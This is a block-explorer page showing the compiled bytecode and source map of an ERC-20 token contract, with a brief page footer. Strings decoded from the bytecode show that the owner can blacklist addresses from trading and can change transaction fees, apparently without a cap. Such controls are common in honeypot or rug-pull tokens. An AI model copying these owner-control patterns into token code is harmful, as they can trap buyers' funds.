20746865207a65726f206164647265604482015261737360f01b606482015260840161050b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6008548390600160a81b900460ff1680610abd57506008546001600160a01b038281169116145b610ac657600080fd5b6001600160a01b038416610b2a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161050b565b6001600160a01b038316610b8c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161050b565b60008211610bf55760405162461bcd60e51b815260206004820152603060248201527f546f6b656e3a207472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b606482015260840161050b565b6001600160a01b03841660009081526001602052604081208054849290610c1d9084906116bb565b90915550506001600160a01b0384163014801590610c6d57507f000000000000000000000000c540049b827fbc7deb62563690ad846f0b60a1896001600160a01b0316846001600160a01b031614155b8015610cab57507f000000000000000000000000c540049b827fbc7deb62563690ad846f0b60a1896001600160a01b0316836001600160a01b031614155b15610e7b576001600160a01b0384166000908152600b602052604090205460ff16158015610cf257506001600160a01b0383166000908152600b602052604090205460ff16155b610d3e5760405162461bcd60e51b815260206004820152601f60248201527f546f6b656e3a20626c61636b6c69737465642063616e6e6f7420747261646500604482015260640161050b565b7f00000000000000000000000092286b961973c002afa5824d0567d696687cf4846001600160a01b0316846001600160a01b031603610dfe5760035482610d9a856001600160a01b031660009081526001602052604090205490565b610da4919061171f565b1115610dfe5760405162461bcd60e51b8152602060048201526024808201527f546f6b656e3a206d61782077616c6c657420616d6f756e7420726573747269636044820152633a34b7b760e11b606482015260840161050b565b600354821115610e505760405162461bcd60e51b815260206004820181905260248201527f546f6b656e3a206d617820747820616d6f756e74207265737472696374696f6e604482015260640161050b565b30600090815260016020526040902054610e6b8482856111b0565b15610e7957610e7981610fce565b505b6001600160a01b0384166000908152600c602052604090205460ff16158015610ebd57506001600160a01b0383166000908152600c602052604090205460ff16155b15610f4c576000610ece8584611286565b90508015610f4a57610ee081846116bb565b30600090815260016020526040812080549295508392909190610f0490849061171f565b909155505060405181815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b6001600160a01b03831660009081526001602052604081208054849290610f7490849061171f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fc091815260200190565b60405180910390a350505050565b6008805460ff60a01b1916600160a01b179055610fea816112fb565b306000908152600260209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020549091508111156110565761105630737a250d5630b4cf539739df2c5dacb4c659f2488d6110486009600a611695565b61064a906305f5e1006116a4565b60408051600280825260608201835247926000929190602083019080368337019050509050308160008151811061108f5761108f6116e7565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106110d7576110d76116e7565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac9479061112f908690600090869030904290600401611732565b600060405180830381600087803b15801561114957600080fd5b505af115801561115d573d6000803e3d6000fd5b50505050814761116d91906116bb565b9150811561117e5761117e8261132c565b436000908152600960205260408120805491611199836116ce565b90915550506008805460ff60a01b19169055505050565b600854600090600160a01b900460ff161580156111fe57507f00000000000000000000000092286b961973c002afa5824d0567d696687cf4846001600160a01b0316846001600160a01b0316145b801561123f5750600754156112385760075461121c6009600a611695565b611229906207a1206116a4565b61123391906116fd565b61123b565b60005b8210155b801561126357506112526009600a611695565b61125f906207a1206116a4565b8310155b801561127e5750436000908152600960205260409020546002115b949350505050565b600060647f00000000000000000000000092286b961973c002afa5824d0567d696687cf4846001600160a01b0316846001600160a01b0316146112dc57600a546001146112d5576005546112e0565b60116112e0565b6004545b6112ea90846116a4565b6112f491906116fd565b9392505050565b60006006548211611324576113126009600a611695565b61131f906207a1206116a4565b6104db565b505060065490565b6040516001600160a01b037f000000000000000000000000c540049b827fbc7deb62563690ad846f0b60a189169082156108fc029083906000818181858888f1935050505015801561058c573d6000803e3d6000fd5b600060208083528351808285015260005b818110156113af57858101830151858201604001528201611393565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146113e757600080fd5b919050565b600080604083850312156113ff57600080fd5b611408836113d0565b946020939093013593505050565b6000806040838503121561142957600080fd5b50508035926020909101359150565b60006020828403121561144a57600080fd5b6112f4826113d0565b60008060006060848603121561146857600080fd5b611471846113d0565b925061147f602085016113d0565b9150604084013590509250925092565b6000602082840312156114a157600080fd5b5035919050565b6000806000604084860312156114bd57600080fd5b833567ffffffffffffffff808211156114d557600080fd5b818601915086601f8301126114e957600080fd5b8135818111156114f857600080fd5b8760208260051b850101111561150d57600080fd5b60209283019550935050840135801515811461152857600080fd5b809150509250925092565b6000806040838503121561154657600080fd5b61154f836113d0565b915061155d602084016113d0565b90509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156115ec5781600019048211156115d2576115d261159b565b808516156115df57918102915b93841c93908002906115b6565b509250929050565b600082611603575060016104db565b81611610575060006104db565b816001811461162657600281146116305761164c565b60019150506104db565b60ff8411156116415761164161159b565b50506001821b6104db565b5060208310610133831016604e8410600b841016171561166f575081810a6104db565b61167983836115b1565b806000190482111561168d5761168d61159b565b029392505050565b60006112f460ff8416836115f4565b80820281158282048414176104db576104db61159b565b818103818111156104db576104db61159b565b6000600182016116e0576116e061159b565b5060010190565b634e487b7160e01b600052603260045260246000fd5b60008261171a57634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156104db576104db61159b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117825784516001600160a01b03168352938301939183019160010161175d565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212206df35bd5e3a764f23ae358b60478d117d288c7de617bf01dbba63561d5ba6f7c64736f6c63430008130033

Deployed Bytecode Sourcemap

1929:8463:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3973:83;;;;;;;;;;-1:-1:-1;4043:5:0;;;;;;;;;;;;-1:-1:-1;;;4043:5:0;;;;3973:83;;;;;;;:::i;:::-;;;;;;;;4773:150;;;;;;;;;;-1:-1:-1;4773:150:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;4773:150:0;1004:187:1;10096:143:0;;;;;;;;;;-1:-1:-1;10096:143:0;;;;;:::i;:::-;;:::i;:::-;;4250:91;;;;;;;;;;;;;:::i;:::-;;;1595:25:1;;;1583:2;1568:18;4250:91:0;1449:177:1;8804:161:0;;;;;;;;;;-1:-1:-1;8804:161:0;;;;;:::i;:::-;;:::i;4931:358::-;;;;;;;;;;-1:-1:-1;4931:358:0;;;;;:::i;:::-;;:::i;4159:83::-;;;;;;;;;;-1:-1:-1;4159:83:0;;2241:1;2297:36:1;;2285:2;2270:18;4159:83:0;2155:184:1;2406:68:0;;;;;;;;;;;;;;;;9965:122;;;;;;;;;;-1:-1:-1;9965:122:0;;;;;:::i;:::-;;:::i;3091:46::-;;;;;;;;;;-1:-1:-1;3091:46:0;;;;-1:-1:-1;;;;;3091:46:0;;;;;;-1:-1:-1;;;;;2693:32:1;;;2675:51;;2663:2;2648:18;3091:46:0;2529:203:1;4349:110:0;;;;;;;;;;-1:-1:-1;4349:110:0;;;;;:::i;:::-;-1:-1:-1;;;;;4433:18:0;4406:7;4433:18;;;:9;:18;;;;;;;4349:110;1774:148;;;;;;;;;;;;;:::i;9424:342::-;;;;;;;;;;-1:-1:-1;9424:342:0;;;;;:::i;:::-;;:::i;1687:79::-;;;;;;;;;;-1:-1:-1;1725:7:0;1752:6;-1:-1:-1;;;;;1752:6:0;1687:79;;9774:183;;;;;;;;;;-1:-1:-1;9774:183:0;;;;;:::i;:::-;;:::i;4064:87::-;;;;;;;;;;-1:-1:-1;4136:7:0;;;;;;;;;;;;-1:-1:-1;;;4136:7:0;;;;4064:87;;4467:156;;;;;;;;;;-1:-1:-1;4467:156:0;;;;;:::i;:::-;;:::i;2969:36::-;;;;;;;;;;;;;;;10247:142;;;;;;;;;;;;;:::i;9199:217::-;;;;;;;;;;-1:-1:-1;9199:217:0;;;;;:::i;:::-;;:::i;4631:134::-;;;;;;;;;;-1:-1:-1;4631:134:0;;;;;:::i;:::-;-1:-1:-1;;;;;4730:18:0;;;4703:7;4730:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4631:134;3014:70;;;;;;;;;;;;;;;8974:217;;;;;;;;;;-1:-1:-1;8974:217:0;;;;;:::i;:::-;;:::i;4773:150::-;4839:4;4856:37;4865:10;4877:7;4886:6;4856:8;:37::i;:::-;-1:-1:-1;4911:4:0;4773:150;;;;;:::o;10096:143::-;1444:6;;-1:-1:-1;;;;;1444:6:0;1454:10;1444:20;1436:65;;;;-1:-1:-1;;;1436:65:0;;;;;;;:::i;:::-;;;;;;;;;10182:6:::1;:18:::0;;;;10211:7:::1;:20:::0;10096:143::o;4250:91::-;4294:7;2300:13;2241:1;2300:2;:13;:::i;:::-;2362:37;;:11;:37;:::i;:::-;4314:19;;4250:91;:::o;8804:161::-;8880:18;;-1:-1:-1;;;;;8880:18:0;8866:10;:32;8858:41;;;;;;8910:47;;-1:-1:-1;;;;;8910:24:0;;;8935:21;8910:47;;;;;;;;;8935:21;8910:24;:47;;;;;;;;;;;;;;;;;;;;;8804:161;:::o;4931:358::-;-1:-1:-1;;;;;5045:19:0;;5020:4;5045:19;;;:11;:19;;;;;;;;5065:10;5045:31;;;;;;;;:41;-1:-1:-1;5045:41:0;5037:94;;;;-1:-1:-1;;;5037:94:0;;6264:2:1;5037:94:0;;;6246:21:1;6303:2;6283:18;;;6276:30;6342:34;6322:18;;;6315:62;-1:-1:-1;;;6393:18:1;;;6386:38;6441:19;;5037:94:0;6062:404:1;5037:94:0;-1:-1:-1;;;;;5171:19:0;;;;;;:11;:19;;;;;;;;5159:10;5171:31;;;;;;;;;5142:70;;5151:6;;5171:40;;5205:6;;5171:40;:::i;:::-;5142:8;:70::i;:::-;5223:36;5233:6;5241:9;5252:6;5223:9;:36::i;:::-;-1:-1:-1;5277:4:0;4931:358;;;;;:::o;9965:122::-;1444:6;;-1:-1:-1;;;;;1444:6:0;1454:10;1444:20;1436:65;;;;-1:-1:-1;;;1436:65:0;;;;;;;:::i;:::-;10042:15:::1;:31:::0;;;10074:3:::1;:5:::0;;;:3:::1;:5;::::0;::::1;:::i;:::-;;;;;;9965:122:::0;:::o;1774:148::-;1444:6;;-1:-1:-1;;;;;1444:6:0;1454:10;1444:20;1436:65;;;;-1:-1:-1;;;1436:65:0;;;;;;;:::i;:::-;1881:1:::1;1865:6:::0;;1844:40:::1;::::0;-1:-1:-1;;;;;1865:6:0;;::::1;::::0;1844:40:::1;::::0;1881:1;;1844:40:::1;1912:1;1895:19:::0;;-1:-1:-1;;;;;;1895:19:0::1;::::0;;1774:148::o;9424:342::-;1444:6;;-1:-1:-1;;;;;1444:6:0;1454:10;1444:20;1436:65;;;;-1:-1:-1;;;1436:65:0;;;;;;;:::i;:::-;9526:18:::1;::::0;-1:-1:-1;;;;;9526:43:0;;::::1;:18:::0;::::1;:43;9523:236;;9602:18;::::0;;-1:-1:-1;;;;;9602:18:0;;::::1;9624:5;9585:36:::0;;;:16:::1;:36;::::0;;;;;:44;;-1:-1:-1;;9585:44:0;;::::1;::::0;;;9644:39;;::::1;::::0;;;;;:46;;;;::::1;9602:18:::0;9644:46:::1;::::0;;;9705:42;;-1:-1:-1;;;;;;9705:42:0::1;;::::0;;9523:236:::1;9424:342:::0;:::o;9774:183::-;1444:6;;-1:-1:-1;;;;;1444:6:0;1454:10;1444:20;1436:65;;;;-1:-1:-1;;;1436:65:0;;;;;;;:::i;:::-;9875:15:::1;:28:::0;;;;9914:15:::1;:35:::0;9774:183::o;4467:156::-;4536:4;4553:40;4563:10;4575:9;4586:6;4553:9;:40::i;10247:142::-;1444:6;;-1:-1:-1;;;;;1444:6:0;1454:10;1444:20;1436:65;;;;-1:-1:-1;;;1436:65:0;;;;;;;:::i;:::-;10309:11:::1;::::0;-1:-1:-1;;;10309:11:0;::::1;;;10308:12;10300:52;;;::::0;-1:-1:-1;;;10300:52:0;;6946:2:1;10300:52:0::1;::::0;::::1;6928:21:1::0;6985:2;6965:18;;;6958:30;7024:29;7004:18;;;6997:57;7071:18;;10300:52:0::1;6744:351:1::0;10300:52:0::1;10363:11;:18:::0;;-1:-1:-1;;;;10363:18:0::1;-1:-1:-1::0;;;10363:18:0::1;::::0;;10247:142::o;9199:217::-;1444:6;;-1:-1:-1;;;;;1444:6:0;1454:10;1444:20;1436:65;;;;-1:-1:-1;;;1436:65:0;;;;;;;:::i;:::-;9302:6:::1;9297:112;9314:21:::0;;::::1;9297:112;;;9386:11;9357;:26;9369:10;;9380:1;9369:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9357:26:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;9357:26:0;:40;;-1:-1:-1;;9357:40:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9337:3;::::1;::::0;::::1;:::i;:::-;;;;9297:112;;;;9199:217:::0;;;:::o;8974:::-;9057:18;;-1:-1:-1;;;;;9057:18:0;9043:10;:32;9035:41;;;;;;9138:4;9087:20;4433:18;;;:9;:18;;;;;;9147:3;;9110:34;;:7;:34;:::i;:::-;:40;;;;:::i;:::-;9087:63;;9161:22;9170:12;9161:8;:22::i;5297:335::-;-1:-1:-1;;;;;5390:19:0;;5382:68;;;;-1:-1:-1;;;5382:68:0;;7656:2:1;5382:68:0;;;7638:21:1;7695:2;7675:18;;;7668:30;7734:34;7714:18;;;7707:62;-1:-1:-1;;;7785:18:1;;;7778:34;7829:19;;5382:68:0;7454:400:1;5382:68:0;-1:-1:-1;;;;;5469:21:0;;5461:68;;;;-1:-1:-1;;;5461:68:0;;8061:2:1;5461:68:0;;;8043:21:1;8100:2;8080:18;;;8073:30;8139:34;8119:18;;;8112:62;-1:-1:-1;;;8190:18:1;;;8183:32;8232:19;;5461:68:0;7859:398:1;5461:68:0;-1:-1:-1;;;;;5540:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5592:32;;1595:25:1;;;5592:32:0;;1568:18:1;5592:32:0;;;;;;;5297:335;;;:::o;5640:1447::-;3523:11;;5710:4;;-1:-1:-1;;;3523:11:0;;;;;:43;;-1:-1:-1;3548:18:0;;-1:-1:-1;;;;;3538:28:0;;;3548:18;;3538:28;3523:43;3515:52;;;;;;-1:-1:-1;;;;;5743:18:0;::::1;5735:68;;;::::0;-1:-1:-1;;;5735:68:0;;8464:2:1;5735:68:0::1;::::0;::::1;8446:21:1::0;8503:2;8483:18;;;8476:30;8542:34;8522:18;;;8515:62;-1:-1:-1;;;8593:18:1;;;8586:35;8638:19;;5735:68:0::1;8262:401:1::0;5735:68:0::1;-1:-1:-1::0;;;;;5822:16:0;::::1;5814:64;;;::::0;-1:-1:-1;;;5814:64:0;;8870:2:1;5814:64:0::1;::::0;::::1;8852:21:1::0;8909:2;8889:18;;;8882:30;8948:34;8928:18;;;8921:62;-1:-1:-1;;;8999:18:1;;;8992:33;9042:19;;5814:64:0::1;8668:399:1::0;5814:64:0::1;5906:1;5897:6;:10;5889:71;;;::::0;-1:-1:-1;;;5889:71:0;;9274:2:1;5889:71:0::1;::::0;::::1;9256:21:1::0;9313:2;9293:18;;;9286:30;9352:34;9332:18;;;9325:62;-1:-1:-1;;;9403:18:1;;;9396:46;9459:19;;5889:71:0::1;9072:412:1::0;5889:71:0::1;-1:-1:-1::0;;;;;5971:15:0;::::1;;::::0;;;:9:::1;:15;::::0;;;;:25;;5990:6;;5971:15;:25:::1;::::0;5990:6;;5971:25:::1;:::i;:::-;::::0;;;-1:-1:-1;;;;;;;6013:21:0;::::1;6029:4;6013:21;::::0;::::1;::::0;:48:::1;;;6046:15;-1:-1:-1::0;;;;;6038:23:0::1;:4;-1:-1:-1::0;;;;;6038:23:0::1;;;6013:48;:73;;;;;6071:15;-1:-1:-1::0;;;;;6065:21:0::1;:2;-1:-1:-1::0;;;;;6065:21:0::1;;;6013:73;6009:627;;;-1:-1:-1::0;;;;;6124:17:0;::::1;;::::0;;;:11:::1;:17;::::0;;;;;::::1;;6123:18;:38:::0;::::1;;;-1:-1:-1::0;;;;;;6146:15:0;::::1;;::::0;;;:11:::1;:15;::::0;;;;;::::1;;6145:16;6123:38;6115:82;;;::::0;-1:-1:-1;;;6115:82:0;;9691:2:1;6115:82:0::1;::::0;::::1;9673:21:1::0;9730:2;9710:18;;;9703:30;9769:33;9749:18;;;9742:61;9820:18;;6115:82:0::1;9489:355:1::0;6115:82:0::1;6224:11;-1:-1:-1::0;;;;;6216:19:0::1;:4;-1:-1:-1::0;;;;;6216:19:0::1;::::0;6212:133:::1;;6289:15;;6279:6;6263:13;6273:2;-1:-1:-1::0;;;;;4433:18:0;4406:7;4433:18;;;:9;:18;;;;;;;4349:110;6263:13:::1;:22;;;;:::i;:::-;:41;;6255:90;;;::::0;-1:-1:-1;;;6255:90:0;;10181:2:1;6255:90:0::1;::::0;::::1;10163:21:1::0;10220:2;10200:18;;;10193:30;10259:34;10239:18;;;10232:62;-1:-1:-1;;;10310:18:1;;;10303:34;10354:19;;6255:90:0::1;9979:400:1::0;6255:90:0::1;6378:15;;6368:6;:25;;6360:70;;;::::0;-1:-1:-1;;;6360:70:0;;10586:2:1;6360:70:0::1;::::0;::::1;10568:21:1::0;;;10605:18;;;10598:30;10664:34;10644:18;;;10637:62;10716:18;;6360:70:0::1;10384:356:1::0;6360:70:0::1;6487:4;6444:22;4433:18:::0;;;:9;:18;;;;;;6511:42:::1;6526:2:::0;4433:18;6546:6;6511:14:::1;:42::i;:::-;6507:89;;;6572:24;6581:14;6572:8;:24::i;:::-;6088:548;6009:627;-1:-1:-1::0;;;;;6653:22:0;::::1;;::::0;;;:16:::1;:22;::::0;;;;;::::1;;6652:23;:48:::0;::::1;;;-1:-1:-1::0;;;;;;6680:20:0;::::1;;::::0;;;:16:::1;:20;::::0;;;;;::::1;;6679:21;6652:48;6648:354;;;6729:19;6751:26;6764:4;6770:6;6751:12;:26::i;:::-;6729:48:::0;-1:-1:-1;6795:15:0;;6792:199:::1;;6830:21;6840:11:::0;6830:21;::::1;:::i;:::-;6888:4;6870:24;::::0;;;:9:::1;:24;::::0;;;;:39;;6830:21;;-1:-1:-1;6898:11:0;;6870:24;;;:39:::1;::::0;6898:11;;6870:39:::1;:::i;:::-;::::0;;;-1:-1:-1;;6933:42:0::1;::::0;1595:25:1;;;6956:4:0::1;::::0;-1:-1:-1;;;;;6933:42:0;::::1;::::0;::::1;::::0;1583:2:1;1568:18;6933:42:0::1;;;;;;;6792:199;6702:300;6648:354;-1:-1:-1::0;;;;;7014:13:0;::::1;;::::0;;;:9:::1;:13;::::0;;;;:23;;7031:6;;7014:13;:23:::1;::::0;7031:6;;7014:23:::1;:::i;:::-;;;;;;;;7068:2;-1:-1:-1::0;;;;;7053:26:0::1;7062:4;-1:-1:-1::0;;;;;7053:26:0::1;;7072:6;7053:26;;;;1595:25:1::0;;1583:2;1568:18;;1449:177;7053:26:0::1;;;;;;;;5640:1447:::0;;;;:::o;7631:879::-;3404:6;:13;;-1:-1:-1;;;;3404:13:0;-1:-1:-1;;;3404:13:0;;;7712:32:::1;7732:11:::0;7712:19:::1;:32::i;:::-;7778:4;4703:7:::0;4730:18;;;:11;:18;;;;;;;;2828:42:::1;4730:27:::0;;;;;;;;7698:46;;-1:-1:-1;7698:46:0;-1:-1:-1;7757:155:0::1;;;7839:61;7856:4;2828:42;2300:13;2241:1;2300:2;:13;:::i;:::-;2362:37;::::0;:11:::1;:37;:::i;7839:61::-;8017:16;::::0;;8031:1:::1;8017:16:::0;;;;;::::1;::::0;;7961:21:::1;::::0;7932:26:::1;::::0;8017:16;8031:1;8017:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8017:16:0::1;7993:40;;8062:4;8044;8049:1;8044:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;8044:23:0::1;;;-1:-1:-1::0;;;;;8044:23:0::1;;;::::0;::::1;2919:42;8078:4;8083:1;8078:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8078:13:0;;::::1;:7;::::0;;::::1;::::0;;;;;;;:13;8102:194:::1;::::0;-1:-1:-1;;;8102:194:0;;2828:42:::1;::::0;8102:64:::1;::::0;:194:::1;::::0;8181:11;;8207:1:::1;::::0;8223:4;;8250::::1;::::0;8270:15:::1;::::0;8102:194:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;8352:18;8328:21;:42;;;;:::i;:::-;8307:63:::0;-1:-1:-1;8384:22:0;;8381:85:::1;;8423:31;8435:18;8423:11;:31::i;:::-;8487:12;8476:24;::::0;;;:10:::1;:24;::::0;;;;:26;;;::::1;::::0;::::1;:::i;:::-;::::0;;;-1:-1:-1;;3440:6:0;:14;;-1:-1:-1;;;;3440:14:0;;;-1:-1:-1;;;7631:879:0:o;7285:338::-;7417:6;;7392:4;;-1:-1:-1;;;7417:6:0;;;;7416:7;:28;;;;;7433:11;-1:-1:-1;;;;;7427:17:0;:2;-1:-1:-1;;;;;7427:17:0;;7416:28;:114;;;;-1:-1:-1;7467:15:0;;:20;:62;;7514:15;;2300:13;2241:1;2300:2;:13;:::i;:::-;2601:33;;:7;:33;:::i;:::-;7494:35;;;;:::i;:::-;7467:62;;;7490:1;7467:62;7448:14;:82;;7416:114;:167;;;;-1:-1:-1;2300:13:0;2241:1;2300:2;:13;:::i;:::-;2601:33;;:7;:33;:::i;:::-;7547:15;:36;;7416:167;:199;;;;-1:-1:-1;7598:12:0;7587:24;;;;:10;:24;;;;;;7614:1;-1:-1:-1;7416:199:0;7409:206;7285:338;-1:-1:-1;;;;7285:338:0:o;7095:182::-;7169:7;7266:3;7214:11;-1:-1:-1;;;;;7206:19:0;:4;-1:-1:-1;;;;;7206:19:0;;:56;;7238:3;;7245:1;7238:8;:23;;7254:7;;7206:56;;7238:23;7249:2;7206:56;;;7228:6;;7206:56;7196:67;;:6;:67;:::i;:::-;:73;;;;:::i;:::-;7189:80;7095:182;-1:-1:-1;;;7095:182:0:o;8518:174::-;8590:7;8631:15;;8617:11;:29;:67;;2300:13;2241:1;2300:2;:13;:::i;:::-;2601:33;;:7;:33;:::i;:::-;8617:67;;;-1:-1:-1;;8649:15:0;;;8518:174::o;8700:96::-;8756:32;;-1:-1:-1;;;;;8756:15:0;:24;;:32;;;;;8781:6;;8756:32;;;;8781:6;8756:24;:32;;;;;;;;;;;;;;;;;;;14:548:1;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1196:248::-;1264:6;1272;1325:2;1313:9;1304:7;1300:23;1296:32;1293:52;;;1341:1;1338;1331:12;1293:52;-1:-1:-1;;1364:23:1;;;1434:2;1419:18;;;1406:32;;-1:-1:-1;1196:248:1:o;1631:186::-;1690:6;1743:2;1731:9;1722:7;1718:23;1714:32;1711:52;;;1759:1;1756;1749:12;1711:52;1782:29;1801:9;1782:29;:::i;1822:328::-;1899:6;1907;1915;1968:2;1956:9;1947:7;1943:23;1939:32;1936:52;;;1984:1;1981;1974:12;1936:52;2007:29;2026:9;2007:29;:::i;:::-;1997:39;;2055:38;2089:2;2078:9;2074:18;2055:38;:::i;:::-;2045:48;;2140:2;2129:9;2125:18;2112:32;2102:42;;1822:328;;;;;:::o;2344:180::-;2403:6;2456:2;2444:9;2435:7;2431:23;2427:32;2424:52;;;2472:1;2469;2462:12;2424:52;-1:-1:-1;2495:23:1;;2344:180;-1:-1:-1;2344:180:1:o;2737:782::-;2829:6;2837;2845;2898:2;2886:9;2877:7;2873:23;2869:32;2866:52;;;2914:1;2911;2904:12;2866:52;2954:9;2941:23;2983:18;3024:2;3016:6;3013:14;3010:34;;;3040:1;3037;3030:12;3010:34;3078:6;3067:9;3063:22;3053:32;;3123:7;3116:4;3112:2;3108:13;3104:27;3094:55;;3145:1;3142;3135:12;3094:55;3185:2;3172:16;3211:2;3203:6;3200:14;3197:34;;;3227:1;3224;3217:12;3197:34;3282:7;3275:4;3265:6;3262:1;3258:14;3254:2;3250:23;3246:34;3243:47;3240:67;;;3303:1;3300;3293:12;3240:67;3334:4;3326:13;;;;-1:-1:-1;3358:6:1;-1:-1:-1;;3399:20:1;;3386:34;3456:13;;3449:21;3439:32;;3429:60;;3485:1;3482;3475:12;3429:60;3508:5;3498:15;;;2737:782;;;;;:::o;3524:260::-;3592:6;3600;3653:2;3641:9;3632:7;3628:23;3624:32;3621:52;;;3669:1;3666;3659:12;3621:52;3692:29;3711:9;3692:29;:::i;:::-;3682:39;;3740:38;3774:2;3763:9;3759:18;3740:38;:::i;:::-;3730:48;;3524:260;;;;;:::o;4013:356::-;4215:2;4197:21;;;4234:18;;;4227:30;4293:34;4288:2;4273:18;;4266:62;4360:2;4345:18;;4013:356::o;4374:127::-;4435:10;4430:3;4426:20;4423:1;4416:31;4466:4;4463:1;4456:15;4490:4;4487:1;4480:15;4506:422;4595:1;4638:5;4595:1;4652:270;4673:7;4663:8;4660:21;4652:270;;;4732:4;4728:1;4724:6;4720:17;4714:4;4711:27;4708:53;;;4741:18;;:::i;:::-;4791:7;4781:8;4777:22;4774:55;;;4811:16;;;;4774:55;4890:22;;;;4850:15;;;;4652:270;;;4656:3;4506:422;;;;;:::o;4933:806::-;4982:5;5012:8;5002:80;;-1:-1:-1;5053:1:1;5067:5;;5002:80;5101:4;5091:76;;-1:-1:-1;5138:1:1;5152:5;;5091:76;5183:4;5201:1;5196:59;;;;5269:1;5264:130;;;;5176:218;;5196:59;5226:1;5217:10;;5240:5;;;5264:130;5301:3;5291:8;5288:17;5285:43;;;5308:18;;:::i;:::-;-1:-1:-1;;5364:1:1;5350:16;;5379:5;;5176:218;;5478:2;5468:8;5465:16;5459:3;5453:4;5450:13;5446:36;5440:2;5430:8;5427:16;5422:2;5416:4;5413:12;5409:35;5406:77;5403:159;;;-1:-1:-1;5515:19:1;;;5547:5;;5403:159;5594:34;5619:8;5613:4;5594:34;:::i;:::-;5664:6;5660:1;5656:6;5652:19;5643:7;5640:32;5637:58;;;5675:18;;:::i;:::-;5713:20;;4933:806;-1:-1:-1;;;4933:806:1:o;5744:140::-;5802:5;5831:47;5872:4;5862:8;5858:19;5852:4;5831:47;:::i;5889:168::-;5962:9;;;5993;;6010:15;;;6004:22;;5990:37;5980:71;;6031:18;;:::i;6471:128::-;6538:9;;;6559:11;;;6556:37;;;6573:18;;:::i;6604:135::-;6643:3;6664:17;;;6661:43;;6684:18;;:::i;:::-;-1:-1:-1;6731:1:1;6720:13;;6604:135::o;7100:127::-;7161:10;7156:3;7152:20;7149:1;7142:31;7192:4;7189:1;7182:15;7216:4;7213:1;7206:15;7232:217;7272:1;7298;7288:132;;7342:10;7337:3;7333:20;7330:1;7323:31;7377:4;7374:1;7367:15;7405:4;7402:1;7395:15;7288:132;-1:-1:-1;7434:9:1;;7232:217::o;9849:125::-;9914:9;;;9935:10;;;9932:36;;;9948:18;;:::i;10877:980::-;11139:4;11187:3;11176:9;11172:19;11218:6;11207:9;11200:25;11244:2;11282:6;11277:2;11266:9;11262:18;11255:34;11325:3;11320:2;11309:9;11305:18;11298:31;11349:6;11384;11378:13;11415:6;11407;11400:22;11453:3;11442:9;11438:19;11431:26;;11492:2;11484:6;11480:15;11466:29;;11513:1;11523:195;11537:6;11534:1;11531:13;11523:195;;;11602:13;;-1:-1:-1;;;;;11598:39:1;11586:52;;11693:15;;;;11658:12;;;;11634:1;11552:9;11523:195;;;-1:-1:-1;;;;;;;11774:32:1;;;;11769:2;11754:18;;11747:60;-1:-1:-1;;;11838:3:1;11823:19;11816:35;11735:3;10877:980;-1:-1:-1;;;10877:980:1:o

Swarm Source

ipfs://6df35bd5e3a764f23ae358b60478d117d288c7de617bf01dbba63561d5ba6f7c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.